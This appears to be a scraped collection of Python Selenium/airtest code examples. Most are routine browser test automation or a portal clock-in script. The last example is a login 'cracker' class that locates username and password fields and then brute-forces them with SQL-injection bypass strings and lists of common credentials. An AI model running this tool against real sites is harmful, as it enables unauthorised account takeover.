Example #1
0
class TestWebBaseCase(TestBaseCase):
    """
    web测试初始化
    """
    def setup(self):
        super(TestWebBaseCase, self).setup()
        self.driver = WebChrome()
        self.driver.implicitly_wait(5)
        self.driver.get(BASEURL)
        # 使用cookie打开浏览器
        with shelve.open(f"{mydbs_dir}/cookies") as db:
            # coo = self.driver.get_cookies()
            # db["cookies"] = coo
            cookies = db["cookies"]
        for cookie in cookies:
            if "expiry" in cookie.keys():
                cookie.pop("expiry")
                continue
            self.driver.add_cookie(cookie)
        self.driver.get(BASEURL)
        self.log.info("进入主界面")
        self.main_page = MainPage(self.driver)

    def teardown(self):
        super(TestWebBaseCase, self).teardown()
        self.log.info("关闭浏览器")
        self.driver.quit()
Example #2
0
File: daka.py Project: gsj5533/-
def job1(useid, password):
    #通过python自带的模块判断是不是节假日
    nowTime = datetime.date(datetime.datetime.now().year,
                            datetime.datetime.now().month,
                            datetime.datetime.now().day)
    print(is_workday(nowTime))

    if is_workday(nowTime):
        print('Its weekday')
        driver = WebChrome()
        driver.implicitly_wait(20)
        driver.get(
            "http://sso.portal.unicom.local/eip_sso/aiportalLogin.html?appid=na186&success=http://service.aiportal.unicom.local/ssoclient/ssologin&error=http://sso.portal.unicom.local/eip_sso/aiportalLogin.html&return=http://sso.portal.unicom.local/eip_sso/aiportalLogin.html"
        )
        driver.find_element_by_id('login').send_keys(useid)
        driver.find_element_by_id('password').send_keys(password)
        driver.find_element_by_xpath("//button[@class='login_botton']").click()
        driver.find_element_by_xpath(
            "//div[@class='pan' and @label='人力资源2.0']").click()
        driver.switch_to_new_tab()
        driver.find_element_by_xpath(
            "//a[@class = 'gn_block gn_block1']").click()
        driver.switch_to_new_tab()
        driver.find_element_by_xpath(
            "//button[@class='ant-btn sign-btn signout ant-btn-primary']"
        ).click()
        driver.quit()
    else:
        print('Its holiday')
Example #3
0
import unittest

from selenium import webdriver
from airtest_selenium.proxy import WebChrome
from time import sleep

options = webdriver.chrome.options.Options()
options.add_experimental_option("debuggerAddress", "127.0.0.1:9222")
driver = WebChrome(chrome_options=options)
driver.implicitly_wait(20)
driver.get("http://td2.qingbaomofang.com/dashboard/market")
sleep(1)
# 关注列表
driver.find_element_by_xpath(
    "/html/body/div[2]/div/div/div/div/div/ul/div/li[4]/div").click()
sleep(1)
driver.find_element_by_xpath(
    "/html/body/div[2]/div/div/div/div/div/ul/div/li[4]/ul/li/ul/li/span"
).click()
sleep(5)


class Assert_test(unittest.TestCase):
    # 打开店铺详情
    driver.find_element_by_xpath("//a[@title='perfectdiary旗舰店']").click()
    # 按月
    driver.find_element_by_xpath(
        "/html/body/div[2]/div[2]/div[2]/div/div[3]/div[2]/div/div[1]/div/div[1]/div[1]/div[3]/div[1]/span"
    ).click()
    sleep(1)
    driver.find_element_by_xpath("/html/body/ul/li[2]").click()
Example #4
0
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from airtest_selenium.proxy import WebChrome
driver = WebChrome()
driver.implicitly_wait(10)
driver.maximize_window()
driver.get("https://www.yigongla.com/")
driver.find_element_by_xpath("//a[@href='/index/index/index']").click()
driver.find_element_by_xpath("//a[@href='/index/qyserve/qyserve']").click()

driver.assert_exist("/html/body/div[3]/div/h3", "xpath", "我的价值")

driver.find_element_by_xpath("//a[@href='/index/inquiry/inquiry']").click()
driver.find_element_by_xpath("//a[@href='/index/about/about']").click()
driver.find_element_by_xpath("/html/body/div/div[2]/a/button").click()
driver.assert_exist("/html/body/div/div/div/div/div/div", "xpath", "密码登录")
driver.assert_exist("/html/body/div/div/div/div/div/div[2]", "xpath", "验证码登录")
driver.assert_exist("/html/body/div/div/div/div[3]/p", "xpath", "还没有易工账号")
driver.assert_exist("/html/body/div/div/div/div[3]/div/a/span", "xpath", "立即注册")
driver.assert_exist("passwordLogin", "id", "登录")
driver.assert_exist("/html/body/div[2]/p", "xpath", "从蓝领招聘开始解决缺工现象.")

driver.quit()
Example #5
0
options.add_argument('--dns-prefetch-disable')
options.add_argument("--disable-features=VizDisplayCompositor")
options.add_experimental_option("excludeSwitches", ["enable-automation"])
options.add_experimental_option("excludeSwitches", ["enable-automation"])
options.add_experimental_option('useAutomationExtension', False)
options.add_argument('start-maximized')
options.add_argument('enable-automation')
options.add_argument('--no-sandbox')
options.add_argument('--disable-infobars')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--disable-browser-side-navigation')
options.add_argument('--disable-gpu')
options.add_argument('--disable-extensions')

driver = WebChrome(executable_path=chrome, options=options)
driver.implicitly_wait(40)
dfx = driver.find_element_by_xpath
ser = CaseService()


def main_setup():
    try:
        driver.get(test_url)
        driver.maximize_window()
        dfx("//button[@type='submit']").click()
    except Exception as e:
        ser.find_JSerror(driver)
        print(
            '================================================================')
        print(e.args)
        print(
Example #6
0
    ordl = []
    testl = []
    for i in ords:
        if int(i['ord'][:3]) == j:
            ordl.append(i['ord'])
            ordl.sort()
    for j in ordl:
        for i in ords:
            if i['ord'] == j:
                testl.append(i)

    testcases.append(testl)

for k in testcases:
    driver = WebChrome()
    driver.implicitly_wait(8)
    #测试执行
    driver.get("https://member.163220.com/#/home")
    driver.maximize_window()

    pid = psutil.Process(
        driver.service.process.pid).children(recursive=True)[0].pid
    #元素绑定方法
    try:
        runtest(driver, pid, k, testcases)

    except:
        raise
    finally:
        driver.close()
Example #7
0
class cracker():
    def __init__(self, target_url):
        self.driver = WebChrome()
        self.driver.get(target_url)
        self.driver.implicitly_wait(20)

        self.exp_user_dic = [
            "admin' or 'a'='a", "'or'='or'", "admin' or '1'='1' or 1=1",
            "')or('a'='a", "'or 1=1 -- -"
        ]
        self.exp_pass_dic = self.exp_user_dic
        self.static_user_dic = [
            'admin', 'system', 'sa', 'test', 'manager', 'root', 'user', 'www',
            'web', 'username', 'guest', 'name', 'zhanghao', 'yonghu', 'email',
            'account'
        ]
        self.suffix_dic = ['', '123', '888', '666', '123456']
        self.static_pass_dic = [
            '{user}', '123456', '{user}888', '12345678', '123123', '88888888',
            '888888', 'password', '123456a', '{user}123', '{user}123456',
            '{user}666', '{user}2018', '123456789', '654321', '666666',
            '66666666', '1234567890', '8888888', '987654321', '0123456789',
            '12345', '1234567', '000000', '111111', '5201314', '123123',
            'pass', 'password', 'P@ssw0rd', 'P@ssw0rd2019', 'P@ssw0rd2020',
            'P@ssw0rd2021'
        ]

        self.password_inputbox_id = ''
        self.username_inputbox_id = ''

    def find_element_ids(self):
        page_source = self.driver.page_source
        username_flags = ["user", "account", "用户名", "邮箱", "手机", "证号"]
        rex_ele_id = re.compile(r'id="(\S*?)"')
        rex_username_ele = re.compile(r'(<input .*type="text".*?>)')
        rex_password_ele = re.compile(r'(<input .*type="password".*?>)')
        possible_username_eles = rex_username_ele.findall(page_source)
        username_ele = ''
        for possible_username_ele in possible_username_eles:
            if username_ele:
                break
            for username_flag in username_flags:
                if username_flag in possible_username_ele:
                    username_ele = possible_username_ele
                    break

        if not username_ele:
            self.username_inputbox_id = ''
        else:
            self.username_inputbox_id = rex_ele_id.findall(username_ele)[0]
            print("Uername Input Box ID:\t{}".format(
                self.username_inputbox_id))

        password_eles = rex_password_ele.findall(page_source)
        password_ele = password_eles[0] if password_eles else ''
        if not password_ele:
            self.password_input_id = ''
        else:
            self.password_inputbox_id = rex_ele_id.findall(password_ele)[0]
            print("Password Input Box ID:\t{}".format(
                self.password_inputbox_id))

        return True

    def brute_force(self, username, password):
        password = password.replace(
            '{user}', username) if '{user}' in password else password
        print('Trying {0}:{1}'.format(username, password))

        username_ele = self.driver.find_element_by_id(
            self.username_inputbox_id
        ) if self.username_inputbox_id else self.driver.find_element_by_xpath(
            "//input[@type='text']")
        password_ele = self.driver.find_element_by_id(
            self.password_inputbox_id
        ) if self.password_inputbox_id else self.driver.find_element_by_xpath(
            "//input[@type='password']")
        username_ele.clear()
        username_ele.send_keys(username)
        password_ele.send_keys(password)
        password_ele.send_keys(Keys.RETURN)
        sleep(2)
        if self.password_inputbox_id in self.driver.page_source and self.username_inputbox_id in self.driver.page_source:
            print('Login Failed')
            return False
        else:
            print('Login Succeed')
            return True

    def loop(self, users, passwords):
        for user in users:
            for password in passwords:
                try:
                    ret = self.brute_force(user, password)
                    if ret:
                        return True
                except Exception as e:
                    print(e)
                    self.driver.refresh()
                    sleep(1)
        return False

    def run(self, userfile='', passfile=''):
        self.find_element_ids()
        if userfile and passfile:
            users = open(userfile).read().strip('\n').split('\n')
            passwords = open(passfile).read().strip('\n').split('\n')
            if self.loop(users, passwords):
                print("爆破成功")
                input()
        else:
            print("Loading inject users/passwords")
            users = self.exp_user_dic
            passwords = self.exp_pass_dic
            if self.loop(users, passwords):
                print("爆破成功")
                input()

            print("Loding default account pairs")
            users = []
            for suffix in self.suffix_dic:
                for user in self.static_user_dic:
                    users.append(user + suffix)
            passwords = self.static_pass_dic
            if self.loop(users, passwords):
                print("爆破成功")
                input()